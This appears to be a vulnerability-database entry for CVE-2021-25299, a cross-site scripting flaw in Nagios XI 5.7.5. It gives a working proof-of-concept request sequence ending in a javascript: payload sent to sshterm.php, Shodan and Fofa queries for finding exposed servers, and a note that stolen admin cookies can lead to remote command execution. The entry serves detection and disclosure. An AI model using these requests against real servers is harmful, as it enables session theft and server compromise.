| Title | Nagios XI 5.7.5 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can craft malicious URLs containing JavaScript that executes when clicked by admin users, potentially stealing session cookies that can be chained with other vulnerabilities for one-click remote command execution and complete Nagios XI server compromise. |
| Remediation | Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.7993 |
| CVE ID | CVE-2021-25299 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Nagios XI"http.title:"nagios xi" |
| Fofa Query | title="nagios xi"app="nagios-xi" |
| Tags | cve2021 cve nagios nagiosxi xss authenticated vuln |
Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
GET /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
nsp=TdEpOH&page=auth&debug=&pageopt=login&username=TzwOYq&password=kM5go3&loginButton=
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25299.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25299.pcap
N/AN/A